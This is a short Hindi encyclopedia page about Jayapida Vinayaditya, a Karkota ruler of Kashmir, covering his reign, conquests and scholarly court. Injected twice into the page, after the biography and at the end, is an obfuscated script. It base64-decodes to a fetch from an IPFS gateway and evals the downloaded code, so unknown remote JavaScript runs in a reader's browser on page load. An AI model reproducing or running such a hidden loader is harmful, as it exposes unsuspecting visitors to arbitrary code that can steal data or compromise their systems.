जयापीड विनयादित्य

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

(770 से 810 ई.)

  • ललितादित्य के बाद उसका पुत्र जयपीड सिंहासन पर बैठा।
  • उसने कन्नौज शासक ब्रजायुध को हराकर अपने राज्य की सीमा का विस्तार किया।
  • उसे विद्धानों के आश्रयदाता के रूप मं भी जाना जाता है।
  • उसके राज दरबार को झीर, उद्भट्ट, दामोदर गुप्त आदि विद्धान सुशोभित करते थें।
  • 810 ई. में उसकी मृत्यु के साथ ही कर्कोटक वंश का अंत हो गया।


<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

सम्बंधित कडियाँ

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>